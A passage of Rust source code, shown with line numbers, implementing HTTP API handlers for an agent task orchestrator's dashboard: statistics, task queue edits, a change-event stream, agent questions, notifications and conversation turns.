4502#[derive(Debug, Serialize)]
4510struct ReleaseBumpStatsView {
4511 merged: usize,
4512 recorded: usize,
4513 pr_opened: usize,
4514 automerge_enabled: usize,
4515 merged_directly: usize,
4516 needs_attention: usize,
4517 clean: usize,
4518 coverage_rate: Option<RateView>,
4519 automerge_rate: Option<RateView>,
4520 attention_rate: Option<RateView>,
4521}
4522
4523impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4524 fn from(b: &stats::ReleaseBumpStats) -> Self {
4525 Self {
4526 merged: b.merged,
4527 recorded: b.recorded,
4528 pr_opened: b.pr_opened,
4529 automerge_enabled: b.automerge_enabled,
4530 merged_directly: b.merged_directly,
4531 needs_attention: b.needs_attention,
4532 clean: b.clean(),
4533 coverage_rate: RateView::of(b.recorded, b.merged),
4534 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4535 attention_rate: RateView::of(b.needs_attention, b.recorded),
4536 }
4537 }
4538}
4539
4540#[derive(Debug, Serialize)]
4542struct TaskCountsView {
4543 queued: usize,
4544 running: usize,
4545 done: usize,
4546 failed: usize,
4547 held: usize,
4548 blocked: usize,
4549}
4550
4551impl From<crate::queue::TaskCounts> for TaskCountsView {
4552 fn from(c: crate::queue::TaskCounts) -> Self {
4553 Self {
4554 queued: c.queued,
4555 running: c.running,
4556 done: c.done,
4557 failed: c.failed,
4558 held: c.held,
4559 blocked: c.blocked,
4560 }
4561 }
4562}
4563
4564#[derive(Debug, Serialize)]
4570struct RepoSummaryView {
4571 repo: String,
4574 name: String,
4576 runs: usize,
4577 completion_rate: Option<RateView>,
4578}
4579
4580impl From<&stats::RepoStats> for RepoSummaryView {
4581 fn from(r: &stats::RepoStats) -> Self {
4582 let t = &r.stats.totals;
4583 Self {
4584 repo: r.repo.to_string_lossy().into_owned(),
4585 name: r.name.clone(),
4586 runs: t.runs,
4587 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4588 }
4589 }
4590}
4591
4592#[derive(Debug, Serialize)]
4598struct StatsView {
4599 totals: StatsTotalsView,
4600 agents: Vec<AgentStatsView>,
4602 reviewers: Vec<ReviewerStatsView>,
4604 advisors: Vec<AdvisorStatsView>,
4606 e2e: E2eStatsView,
4607 release_bumps: ReleaseBumpStatsView,
4608 queue: TaskCountsView,
4609 runs_unreadable: usize,
4619 repos: Vec<RepoSummaryView>,
4623 repo: Option<String>,
4627}
4628
4629#[derive(Debug, Default, Deserialize)]
4638#[serde(default)]
4639struct StatsQuery {
4640 repo: Option<String>,
4641}
4642
4643async fn stats_get(
4650 State(ui): State<Arc<Ui>>,
4651 Query(q): Query<StatsQuery>,
4652) -> ApiResult<Json<StatsView>> {
4653 blocking(move || {
4654 let states: Vec<RunState> = run_ids(&ui.runs)
4655 .into_iter()
4656 .filter_map(|id| read_run(&ui.runs, &id).ok())
4657 .collect();
4658 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4659 .iter()
4660 .map(RepoSummaryView::from)
4661 .collect();
4662 let collected = match &q.repo {
4663 Some(repo) => {
4664 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4665 if filtered.is_empty() {
4666 return Err(ApiError::not_found(format!(
4667 "no runs recorded against repo `{repo}`"
4668 )));
4669 }
4670 stats::collect_refs(filtered)
4671 }
4672 None => stats::collect(&states),
4673 };
4674 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4675 Ok(Json(StatsView {
4676 totals: StatsTotalsView::from(&collected.totals),
4677 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4678 reviewers: collected
4679 .reviewers
4680 .iter()
4681 .map(ReviewerStatsView::from)
4682 .collect(),
4683 advisors: collected
4684 .advisors
4685 .iter()
4686 .map(AdvisorStatsView::from)
4687 .collect(),
4688 e2e: E2eStatsView::from(&collected.e2e),
4689 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4690 queue: TaskCountsView::from(queue_counts),
4691 runs_unreadable: runs_unreadable(&ui.runs),
4692 repos,
4693 repo: q.repo.clone(),
4694 }))
4695 })
4696 .await
4697}
4698
4699#[derive(Debug, Default, Deserialize)]
4702#[serde(default, deny_unknown_fields)]
4703struct HoldBody {
4704 reason: Option<String>,
4705}
4706
4707async fn queue_hold(
4708 State(ui): State<Arc<Ui>>,
4709 Path(id): Path<String>,
4710 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4711) -> ApiResult<Json<TaskView>> {
4712 let body = match body {
4716 Ok(Json(body)) => body,
4717 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4718 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4719 };
4720 let reason = body.reason.filter(|r| !r.trim().is_empty());
4721 mutate(ui, id, move |t| {
4722 t.hold_manual(reason.clone());
4723 Ok(())
4724 })
4725 .await
4726}
4727
4728async fn queue_release(
4729 State(ui): State<Arc<Ui>>,
4730 Path(id): Path<String>,
4731) -> ApiResult<Json<TaskView>> {
4732 mutate(ui, id, |t| {
4733 t.release();
4734 Ok(())
4735 })
4736 .await
4737}
4738
4739#[derive(Debug, Deserialize)]
4741#[serde(deny_unknown_fields)]
4742struct PriorityBody {
4743 priority: i32,
4744}
4745
4746async fn queue_priority(
4752 State(ui): State<Arc<Ui>>,
4753 Path(id): Path<String>,
4754 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4755) -> ApiResult<Json<TaskView>> {
4756 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4757 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4758}
4759
4760#[derive(Debug, Deserialize)]
4762#[serde(deny_unknown_fields)]
4763struct EditBody {
4764 title: String,
4765 instruction: String,
4766 #[serde(default)]
4769 force: bool,
4770}
4771
4772async fn queue_edit(
4776 State(ui): State<Arc<Ui>>,
4777 Path(id): Path<String>,
4778 body: std::result::Result<Json<EditBody>, JsonRejection>,
4779) -> ApiResult<Json<TaskView>> {
4780 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4781 let mut judged: Option<(String, PathBuf)> = None;
4785 if !body.force {
4786 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4787 let (id, text) = (id.clone(), body.instruction.clone());
4788 let (seen, hits) = blocking(move || {
4789 let id = resolve_task(&queue, &id)?;
4790 let t = queue.get(&id)?;
4791 if text == t.instruction {
4792 return Ok((None, Vec::new()));
4793 }
4794 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4795 Ok((Some((t.instruction, t.repo)), hits))
4796 })
4797 .await?;
4798 if let Some((_, repo)) = &seen {
4799 let cfg = crate::config::Config::discover(repo, None)
4800 .ok()
4801 .map(|(c, _)| c);
4802 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4803 .await
4804 .map_err(|dup| {
4805 ApiError::conflict(dup.render(
4806 "Nothing was saved. If it is not a duplicate, repeat the request with \
4807 \"force\": true.",
4808 ))
4809 })?;
4810 }
4811 judged = seen;
4812 }
4813 let force = body.force;
4814 mutate(ui, id, move |t| {
4815 if !force && body.instruction != t.instruction {
4816 match &judged {
4817 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4818 _ => {
4819 anyhow::bail!("the task changed while it was being checked; repeat the request")
4820 }
4821 }
4822 }
4823 t.edit(body.title.clone(), body.instruction.clone())
4824 })
4825 .await
4826}
4827
4828async fn queue_done(
4836 State(ui): State<Arc<Ui>>,
4837 Path(id): Path<String>,
4838) -> ApiResult<Json<TaskView>> {
4839 let home = ui.home.clone();
4840 mutate(ui, id, move |t| {
4841 t.succeed();
4842 crate::daemon::supersede_prior_runs(t, &home);
4850 Ok(())
4851 })
4852 .await
4853}
4854
4855async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4863 blocking(move || {
4864 let id = resolve_task(&ui.queue, &id)?;
4865 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4866 ui.queue
4867 .remove(&id, in_flight, &ui.questions)
4868 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4869 Ok(StatusCode::NO_CONTENT)
4870 })
4871 .await
4872}
4873
4874async fn mutate(
4883 ui: Arc<Ui>,
4884 id: String,
4885 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4886) -> ApiResult<Json<TaskView>> {
4887 blocking(move || {
4888 let id = resolve_task(&ui.queue, &id)?;
4889 let _claim = ui.queue.claim(&id).map_err(|e| {
4894 ApiError::conflict(format!(
4895 "{e:#} - a daemon is running this task, so it cannot be \
4896 changed from here yet"
4897 ))
4898 })?;
4899 let mut task = ui.queue.get(&id)?;
4900 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4901 Ok(dup) => ApiError::conflict(dup.render(
4902 "Nothing was saved. If it is not a duplicate, repeat the request with \
4903 \"force\": true.",
4904 )),
4905 Err(e) => ApiError::bad_request_from(e),
4906 })?;
4907 ui.queue.put(&mut task)?;
4908 Ok(Json(TaskView::from(task)))
4909 })
4910 .await
4911}
4912
4913async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4921 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4922 tokio::spawn(async move {
4923 let mut ticker = tokio::time::interval(POLL);
4924 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4925 loop {
4926 ticker.tick().await;
4929 let state = Arc::clone(&ui);
4930 let revisions = tokio::task::spawn_blocking(move || {
4931 (
4932 state.queue.revision(),
4933 runs_revision(&state.runs),
4934 state.questions.revision(),
4935 state.talks.revision(),
4936 state.notices.revision(),
4937 state.lock_loop().rev,
4941 )
4942 })
4943 .await;
4944 let Ok(revisions) = revisions else { break };
4945 if last == Some(revisions) {
4946 continue;
4947 }
4948 last = Some(revisions);
4949 let payload = serde_json::json!({
4950 "queue_rev": revisions.0,
4951 "runs_rev": revisions.1,
4952 "questions_rev": revisions.2,
4953 "talks_rev": revisions.3,
4954 "notifications_rev": revisions.4,
4955 "loop_rev": revisions.5,
4956 });
4957 let Ok(event) = Event::default().event("change").json_data(payload) else {
4959 break;
4960 };
4961 if tx.send(event).await.is_err() {
4962 break;
4963 }
4964 }
4965 });
4966 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4967 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4968}
4969
4970fn runs_revision(runs: &FsPath) -> u64 {
4977 use std::hash::{Hash as _, Hasher as _};
4978
4979 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4980 .into_iter()
4981 .flatten()
4982 .flatten()
4983 .filter_map(|e| {
4984 let path = e.path().join("run.json");
4985 let mtime = path
4986 .metadata()
4987 .ok()?
4988 .modified()
4989 .ok()?
4990 .duration_since(std::time::UNIX_EPOCH)
4991 .ok()?
4992 .as_millis() as u64;
4993 let id = e.file_name().to_string_lossy().into_owned();
4994 Some((id, mtime))
4995 })
4996 .collect();
4997
4998 if entries.is_empty() {
4999 return 0;
5000 }
5001
5002 entries.sort_unstable();
5003 let mut hasher = std::hash::DefaultHasher::new();
5004 for (id, mtime) in &entries {
5005 id.hash(&mut hasher);
5006 mtime.hash(&mut hasher);
5007 }
5008 let h = hasher.finish();
5009 if h == 0 { 1 } else { h }
5010}
5011
5012fn run_ids(runs: &FsPath) -> Vec<String> {
5018 let mut ids: Vec<String> = std::fs::read_dir(runs)
5019 .into_iter()
5020 .flatten()
5021 .flatten()
5022 .filter(|e| e.path().join("run.json").is_file())
5023 .map(|e| e.file_name().to_string_lossy().into_owned())
5024 .collect();
5025 ids.sort_unstable_by(|a, b| b.cmp(a));
5027 ids
5028}
5029
5030fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5032 let path = runs.join(id).join("run.json");
5033 let body =
5034 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5035 let state: RunState =
5036 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5037 run::migrate_schema(state)
5042}
5043
5044#[must_use]
5052pub fn runs_unreadable(runs: &FsPath) -> usize {
5053 run_ids(runs)
5054 .into_iter()
5055 .filter(|id| read_run(runs, id).is_err())
5056 .count()
5057}
5058
5059fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5061 if runs.join(id).join("run.json").is_file() {
5062 return Ok(id.to_owned());
5063 }
5064 pick(run_ids(runs), id, "run")
5065}
5066
5067fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5069 if queue.path_of(id).is_file() {
5070 return Ok(id.to_owned());
5071 }
5072 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5073}
5074
5075#[derive(Debug, Serialize)]
5086struct QuestionView {
5087 #[serde(flatten)]
5088 question: Question,
5089 detail_md: Vec<md::Node>,
5090 thread_bodies_md: Vec<Vec<md::Node>>,
5092 waiting_on_agent: bool,
5102 holder: Option<&'static str>,
5106 deputies_enabled: bool,
5110 run_is_task: bool,
5113}
5114
5115impl QuestionView {
5116 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5120 let base = md::ImageBase::QuestionPanel {
5121 id: question.id.clone(),
5122 };
5123 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5124 Self {
5125 detail_md: md::to_nodes(&question.detail, &base),
5126 thread_bodies_md: question
5127 .thread
5128 .iter()
5129 .map(|t| md::to_nodes(&t.body, &base))
5130 .collect(),
5131 waiting_on_agent: question.waiting_on_agent(),
5132 holder,
5133 deputies_enabled,
5134 run_is_task: question.run_names_task(),
5135 question,
5136 }
5137 }
5138}
5139
5140fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5144 Config::discover(repo, None).ok().map(|(c, _)| c)
5145}
5146
5147fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5149 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5150}
5151
5152fn question_views(
5155 qs: Vec<Question>,
5156 store: &ask::Questions,
5157 load: impl FnOnce() -> Option<Config>,
5158) -> Vec<QuestionView> {
5159 if qs.is_empty() {
5160 return Vec::new();
5161 }
5162 let cfg = load();
5163 qs.into_iter()
5164 .map(|q| {
5165 let on = deputies_enabled(cfg.as_ref(), &q);
5166 QuestionView::of(q, store, on)
5167 })
5168 .collect()
5169}
5170
5171fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5181 if !q.status.open() {
5182 return None;
5183 }
5184 if q.cwd.is_none() && q.deputy.is_none() {
5185 return (matches!(
5186 q.node.as_str(),
5187 crate::conduct::NODE | crate::land::APPROVAL_NODE
5188 ) || crate::deputy::kind_of(q) == Some(crate::deputy::Kind::Release))
5189 .then_some("nobody");
5190 }
5191 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5192 Some(_) if q.deputy.is_some() => "deputy",
5193 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5194 Some(_) => "asker",
5195 None => "nobody",
5196 })
5197}
5198
5199async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5205 blocking(move || {
5206 Ok(Json(question_views(
5207 ui.questions.list(),
5208 &ui.questions,
5209 || deputy_config(&ui.repo),
5210 )))
5211 })
5212 .await
5213}
5214
5215async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5218 blocking(move || {
5219 let items = ui.notices.list();
5220 let unread = items.iter().filter(|n| n.unread()).count();
5221 Ok(Json(
5222 serde_json::json!({ "unread": unread, "items": items }),
5223 ))
5224 })
5225 .await
5226}
5227
5228fn notice_error(e: anyhow::Error) -> ApiError {
5229 ApiError::not_found(format!("{e:#}"))
5232}
5233
5234async fn notification_read(
5236 State(ui): State<Arc<Ui>>,
5237 Path(id): Path<String>,
5238) -> ApiResult<Json<Notice>> {
5239 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5240}
5241
5242async fn notification_dismiss(
5244 State(ui): State<Arc<Ui>>,
5245 Path(id): Path<String>,
5246) -> ApiResult<Json<Notice>> {
5247 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5248}
5249
5250async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5252 blocking(move || {
5253 let changed = ui.notices.mark_all_read()?;
5254 Ok(Json(serde_json::json!({ "marked": changed })))
5255 })
5256 .await
5257}
5258
5259#[derive(Debug, Default, Deserialize)]
5265#[serde(default, deny_unknown_fields)]
5266struct NewAnswer {
5267 choice: Option<String>,
5268 text: Option<String>,
5269}
5270
5271async fn question_answer(
5272 State(ui): State<Arc<Ui>>,
5273 Path(id): Path<String>,
5274 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5275) -> ApiResult<Json<QuestionView>> {
5276 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5277 let answer = match (body.choice, body.text) {
5278 (Some(c), None) => Answer::Choice(c),
5279 (None, Some(t)) => Answer::Text(t),
5280 (Some(_), Some(_)) => {
5281 return Err(ApiError::bad_request(
5282 "send either `choice` or `text`, not both",
5283 ));
5284 }
5285 (None, None) => {
5286 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5287 }
5288 };
5289
5290 blocking(move || {
5291 let id = resolve_question(&ui.questions, &id)?;
5292 let q = ui
5293 .questions
5294 .get(&id)
5295 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5296 if !q.status.open() {
5297 return Err(ApiError::conflict(format!(
5301 "question {} is already {}",
5302 q.short(),
5303 q.status.as_str()
5304 )));
5305 }
5306 let (q, ()) = ui
5310 .questions
5311 .update(&q.id, |r| r.answer(answer))
5312 .map_err(ApiError::bad_request_from)?;
5313 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5314 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5315 })
5316 .await
5317}
5318
5319#[derive(Debug, Deserialize)]
5321#[serde(deny_unknown_fields)]
5322struct NewSay {
5323 body: String,
5324}
5325
5326async fn question_say(
5336 State(ui): State<Arc<Ui>>,
5337 Path(id): Path<String>,
5338 body: std::result::Result<Json<NewSay>, JsonRejection>,
5339) -> ApiResult<Json<QuestionView>> {
5340 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5341 blocking(move || {
5342 let id = resolve_question(&ui.questions, &id)?;
5343 let q = ui
5344 .questions
5345 .get(&id)
5346 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5347 if !q.status.open() {
5348 return Err(ApiError::conflict(format!(
5352 "question {} is already {}",
5353 q.short(),
5354 q.status.as_str()
5355 )));
5356 }
5357 let (q, ()) = ui
5360 .questions
5361 .update(&q.id, |r| r.say(body.body))
5362 .map_err(ApiError::bad_request_from)?;
5363 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5364 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5365 })
5366 .await
5367}
5368
5369fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5371 if store.path_of(id).is_file() {
5372 return Ok(id.to_owned());
5373 }
5374 pick(
5375 store.list().into_iter().map(|q| q.id).collect(),
5376 id,
5377 "question",
5378 )
5379}
5380
5381async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5396 blocking(move || {
5397 let id = resolve_question(&ui.questions, &id)?;
5398 let Some(html) = ui.questions.panel_html(&id) else {
5399 return Err(ApiError::not_found(format!("question {id} has no panel")));
5400 };
5401 Ok(panel_response(
5402 "text/html; charset=utf-8",
5403 false,
5404 html.into_bytes(),
5405 ))
5406 })
5407 .await
5408}
5409
5410async fn question_asset(
5438 State(ui): State<Arc<Ui>>,
5439 Path((id, name)): Path<(String, String)>,
5440) -> ApiResult<Response> {
5441 if !crate::ask::valid_asset_name(&name) {
5444 return Err(ApiError::bad_request(format!(
5445 "`{name}` is not a usable asset name"
5446 )));
5447 }
5448 blocking(move || {
5449 let id = resolve_question(&ui.questions, &id)?;
5450 let asset = ui
5451 .questions
5452 .panel_asset(&id, &name)
5453 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5454 let Some(bytes) = asset else {
5455 return Err(ApiError::not_found(format!(
5456 "question {id} has no asset `{name}`"
5457 )));
5458 };
5459 Ok(panel_response(
5460 asset_content_type(&name),
5461 is_svg(&name),
5462 bytes,
5463 ))
5464 })
5465 .await
5466}
5467
5468fn asset_content_type(name: &str) -> &'static str {
5481 match extension(name).as_deref() {
5482 Some("png") => "image/png",
5483 Some("jpg" | "jpeg") => "image/jpeg",
5484 Some("gif") => "image/gif",
5485 Some("webp") => "image/webp",
5486 Some("svg") => "image/svg+xml",
5487 Some("css") => "text/css; charset=utf-8",
5488 Some("txt") => "text/plain; charset=utf-8",
5489 _ => "application/octet-stream",
5490 }
5491}
5492
5493fn is_svg(name: &str) -> bool {
5496 extension(name).as_deref() == Some("svg")
5497}
5498
5499fn extension(name: &str) -> Option<String> {
5501 name.rsplit_once('.')
5502 .map(|(_, ext)| ext.to_ascii_lowercase())
5503}
5504
5505fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5522 let mut res = (
5523 [
5524 (header::CONTENT_TYPE, content_type),
5525 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5526 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5527 (header::REFERRER_POLICY, "no-referrer"),
5528 ],
5529 body,
5530 )
5531 .into_response();
5532 if download {
5533 res.headers_mut().insert(
5534 header::CONTENT_DISPOSITION,
5535 HeaderValue::from_static("attachment"),
5536 );
5537 }
5538 res
5539}
5540
5541#[derive(Debug, Serialize)]
5547struct TalkView {
5548 #[serde(flatten)]
5549 talk: Talk,
5550 turn_bodies_md: Vec<Vec<md::Node>>,
5551 thinking: bool,
5559 context: talk::ContextUsage,
5563}
5564
5565impl TalkView {
5566 fn new(talk: Talk, thinking: bool) -> Self {
5569 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5570 Self::with_config(talk, thinking, cfg.as_ref())
5571 }
5572
5573 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5576 let context = talk::context_usage(&talk, cfg);
5577 let turn_bodies_md = talk
5578 .turns
5579 .iter()
5580 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5581 .collect();
5582 Self {
5583 turn_bodies_md,
5584 thinking,
5585 context,
5586 talk,
5587 }
5588 }
5589}
5590
5591#[derive(Debug, Serialize)]
5596struct TalkDetailView {
5597 #[serde(flatten)]
5598 view: TalkView,
5599 tasks: Vec<TaskView>,
5600 roster: Vec<RosterEntry>,
5603}
5604
5605#[derive(Debug, Serialize)]
5607struct RosterEntry {
5608 id: String,
5609 kind: AgentKind,
5610 runnable: bool,
5612}
5613
5614async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
5619 blocking(move || {
5620 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5621 Ok(Json(
5622 ui.talks
5623 .list()
5624 .into_iter()
5625 .map(|talk| {
5626 let thinking = ui.is_thinking(&talk.id);
5627 let cfg = configs
5628 .entry(talk.repo.clone())
5629 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5630 TalkView::with_config(talk, thinking, cfg.as_ref())
5631 })
5632 .collect(),
5633 ))
5634 })
5635 .await
5636}
5637
5638#[derive(Debug, Default, Deserialize)]
5643#[serde(default)]
5644struct NewTalk {
5645 agent: Option<String>,
5646 repo: Option<PathBuf>,
5647}
5648
5649async fn talk_post(
5652 State(ui): State<Arc<Ui>>,
5653 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5654) -> ApiResult<impl IntoResponse> {
5655 let body = match body {
5659 Ok(Json(body)) => body,
5660 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5661 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5662 };
5663 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5664 let cfg = config_for(&repo).await?;
5665 let view = blocking(move || {
5666 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5667 let thinking = ui.is_thinking(&talk.id);
5668 Ok(TalkView::new(talk, thinking))
5669 })
5670 .await?;
5671 Ok((StatusCode::CREATED, Json(view)))
5672}
5673
5674async fn talk_detail(
5676 State(ui): State<Arc<Ui>>,
5677 Path(id): Path<String>,
5678) -> ApiResult<Json<TalkDetailView>> {
5679 blocking(move || {
5680 let id = resolve_talk(&ui.talks, &id)?;
5681 let talk = ui.talks.get(&id)?;
5682 let thinking = ui.is_thinking(&talk.id);
5683 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5684 .into_iter()
5685 .map(TaskView::from)
5686 .collect();
5687 let roster = Config::discover(&talk.repo, None)
5688 .map(|(cfg, _)| {
5689 cfg.agents
5690 .iter()
5691 .map(|a| RosterEntry {
5692 id: a.id.clone(),
5693 kind: a.kind,
5694 runnable: agent::installed(a),
5695 })
5696 .collect()
5697 })
5698 .unwrap_or_default();
5699 Ok(Json(TalkDetailView {
5700 view: TalkView::new(talk, thinking),
5701 tasks,
5702 roster,
5703 }))
5704 })
5705 .await
5706}
5707
5708#[derive(Debug, Default, Deserialize)]
5714#[serde(default, deny_unknown_fields)]
5715struct NewTalkTurn {
5716 text: String,
5717 attachments: Vec<String>,
5718}
5719
5720#[derive(Debug, Deserialize)]
5721#[serde(deny_unknown_fields)]
5722struct EditTalkPending {
5723 text: String,
5724 expected_text: String,
5725 expected_attachments: Vec<String>,
5726}
5727
5728#[derive(Debug, Deserialize)]
5729#[serde(deny_unknown_fields)]
5730struct ClearTalkPending {
5731 expected_text: String,
5732 expected_attachments: Vec<String>,
5733}
5734
5735async fn talk_say(
5747 State(ui): State<Arc<Ui>>,
5748 Path(id): Path<String>,
5749 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5750) -> ApiResult<(StatusCode, Json<TalkView>)> {
5751 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5752 if body.text.trim().is_empty() && body.attachments.is_empty() {
5753 return Err(ApiError::bad_request("say something"));
5754 }
5755
5756 let id = {
5757 let ui = Arc::clone(&ui);
5758 let asked = id.clone();
5759 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5760 };
5761 {
5765 let ui = Arc::clone(&ui);
5766 let id = id.clone();
5767 blocking(move || {
5768 let talk = ui.talks.get(&id)?;
5769 if !talk.status.open() {
5770 return Err(ApiError::conflict(format!(
5771 "talk {} is {} and takes no more turns",
5772 talk.short(),
5773 talk.status.as_str()
5774 )));
5775 }
5776 Ok(())
5777 })
5778 .await?;
5779 }
5780
5781 let attachments = {
5786 let ui = Arc::clone(&ui);
5787 let id = id.clone();
5788 let ids = body.attachments.clone();
5789 blocking(move || {
5790 ids.into_iter()
5791 .map(|att_id| {
5792 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5793 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5794 })
5795 })
5796 .collect::<ApiResult<Vec<talk::Attachment>>>()
5797 })
5798 .await?
5799 };
5800
5801 let start = {
5806 let ui = Arc::clone(&ui);
5807 let id = id.clone();
5808 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5809 };
5810 let turn_guard = match start {
5811 TalkTurnStart::Claimed(turn_guard) => turn_guard,
5812 TalkTurnStart::Pending => {
5813 return Err(ApiError::conflict(
5814 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5815 ));
5816 }
5817 TalkTurnStart::Busy => {
5818 let (tx, rx) = tokio::sync::oneshot::channel();
5834 tokio::spawn({
5835 let ui = Arc::clone(&ui);
5836 let id = id.clone();
5837 let said = body.text.clone();
5838 async move {
5839 let written = blocking({
5840 let ui = Arc::clone(&ui);
5841 let id = id.clone();
5842 move || {
5843 let mut talk = ui.talks.get(&id)?;
5844 #[cfg(test)]
5849 if let Some(gate) = ui
5850 .busy_queue_gate
5851 .lock()
5852 .unwrap_or_else(PoisonError::into_inner)
5853 .take()
5854 {
5855 let _ = gate.reached.send(());
5856 let _ = gate.release.recv();
5857 }
5858 if let Err(error) =
5859 talk::queue(&mut talk, &ui.talks, &said, attachments)
5860 {
5861 if let Ok(fresh) = ui.talks.get(&id) {
5862 if !fresh.status.open() {
5863 return Err(ApiError::conflict(format!(
5864 "talk {} is {} and takes no more turns",
5865 fresh.short(),
5866 fresh.status.as_str()
5867 )));
5868 }
5869 }
5870 return Err(ApiError::from(error));
5871 }
5872 let claim = match ui.begin_queued_talk_turn(&id)? {
5883 Some(turn_guard) => {
5884 let (cfg, _) = Config::discover(&talk.repo, None)?;
5885 Some((talk.clone(), cfg, turn_guard))
5886 }
5887 None => None,
5888 };
5889 let thinking = ui.is_thinking(&id);
5890 Ok((TalkView::new(talk, thinking), claim))
5891 }
5892 })
5893 .await;
5894 let (view, reclaimed) = match written {
5895 Ok(pair) => pair,
5896 Err(e) => {
5897 let _ = tx.send(Err(e));
5902 return;
5903 }
5904 };
5905 let _ = tx.send(Ok(view));
5908 if let Some((talk, cfg, turn_guard)) = reclaimed {
5909 let talks = ui.talks.clone();
5910 drain_loop(talk, talks, cfg, id, turn_guard).await;
5911 }
5912 }
5913 });
5914 let view = rx
5915 .await
5916 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5917 return Ok((StatusCode::ACCEPTED, Json(view)));
5918 }
5919 };
5920
5921 let (talk, cfg) = {
5922 let ui = Arc::clone(&ui);
5923 let id = id.clone();
5924 blocking(move || {
5925 let talk = ui.talks.get(&id)?;
5926 let (cfg, _) = Config::discover(&talk.repo, None)?;
5927 Ok((talk, cfg))
5928 })
5929 .await?
5930 };
